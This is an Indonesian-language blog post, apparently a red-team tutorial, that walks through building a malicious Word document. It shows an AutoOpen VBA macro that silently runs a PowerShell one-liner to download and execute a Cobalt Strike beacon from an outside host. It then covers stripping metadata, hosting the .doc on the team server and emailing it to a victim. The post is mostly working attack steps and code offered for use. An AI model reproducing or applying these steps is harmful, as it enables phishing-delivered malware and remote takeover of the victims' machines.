Post

02 - [MS Office - Word] VBA Macro

Visual Basic for Applications (VBA) adalah implementasi dari Visual Basic yang banyak digunakan dalam aplikasi Microsoft Office.

VBA Macro ini sering digunakan untuk meningkatkan fungsionalitas dalam Word dan Excel untuk pengolahan data. Namun, keberadaan VBA Macro di dunia komersial dapat menjadi pisau bermata dua ketika disalahgunakan oleh penyerang.

0x1 - Creating a Malicious Macro

Step 1: Launch Word and Set Up Macro

Untuk membuat macro pada Word, masuk ke menu View dan pilih Macros.

Pada bagian nama buat menjadi “AutoOpen” agar macro dijalankan secara otomatis saat dokumen dibuka. Selanjutnya, ubah kolom “Macros in” dari “All active templates and documents” menjadi “Document 1”.

Jika sudah, klik Create dan jendela untuk menuliskan kode VBA akan muncul.

Membuat Macro pada Word Membuat Macro pada Word

Step 2: VBA Code Execution Test

Tambahkan kode VBA berikut:

1
2
3
4
5
6
7
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "notepad"

End Sub

Keterangan:

  • wscript: Windows Script Host yang dirancang untuk automation.
  • shell: Method yang memberikan kemampuan untuk mengeksekusi perintah OS.
  • notepad: Menjalankan aplikasi notepad.

Untuk menguji kode di atas, gunakan tombol play/pause/stop.

Uji Coba Macro pada Word Uji Coba Macro pada Word

Step 3: Generate Payload

Selanjutnya, kita perlu mengganti notepad dengan payload beacon.

Contoh sederhana yang bisa kita gunakan adalah menggunakan payload PowerShell yang ada pada Cobalt Strike.

Pada Cobalt Strike, buka Attacks > Scripted Web Delivery (S) dan buat payload PowerShell 64-bit untuk HTTP listener.

Menyiapkan Link Malware pada Cobalt Strike Menyiapkan Link Malware pada Cobalt Strike

URI Path dapat berupa apa saja, tetapi pada contoh ini saya akan menyimpannya sebagai /a.

Proses tersebut akan menghasilkan payload PowerShell dan menghostingnya di Team Server sehingga dapat diunduh melalui HTTP dan dieksekusi dalam memori.

Setelah mengklik Launch, Cobalt Strike akan menghasilkan satu baris PowerShell yang akan melakukan hal tersebut.

Perintah PowerShell untuk Mengakses Payload Beacon Perintah PowerShell untuk Mengakses Payload Beacon

Step 4: Add the Payload in the VBA Code

Copy/paste kode PowerShell sebelumnya ke dalam VBA dan pastikan untuk menambahkan satu set tanda kutip ganda di sekitar perintah IEX.

Seharusnya akan terlihat seperti berikut:

1
Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nairpaa.me/a'))"""

Step 5: Save the .doc File

Untuk menyiapkan dokumen sebelum di-delivery, buka menu File > Info > Inspect Document > Inspect Document, yang akan membuka Document Inspector. Klik Inspect dan kemudian Remove All.

Hal ini dilakukan untuk mencegah nama pengguna pada sistem Anda dicantumkan dalam dokumen.

Menghilangkan Informasi Personal Pada Word Menghilangkan Informasi Personal Pada Word

Selanjutnya, simpan file dengan format .doc agar bisa menyimpan macro.

Menyimpan File .doc Menyimpan File .doc

Step 6: Upload the Malware To Team Server

Upload file malware sebelumnya ke Team Server agar bisa di download oleh korban.

Buka Manajemen Situs > File Host dan pilih file dokumen malware-nya.

Mengunggah File .doc Ke Team Server Mengunggah File .doc Ke Team Server

0x2 - Deliver the Malware To the Victim

Ada banyak cara untuk mengirimkan malware tersebut ke korban, salah satunya adalah dengan mengirimkannya melalui email.

Ketika korban membuka file Word tersebut dan mengklik Enable Content, maka payload beacon akan dijalankan.

Enable Content Enable Content

Koneksi Beacon Berhasil Masuk Koneksi Beacon Berhasil Masuk

This post is licensed under CC BY 4.0 by the author.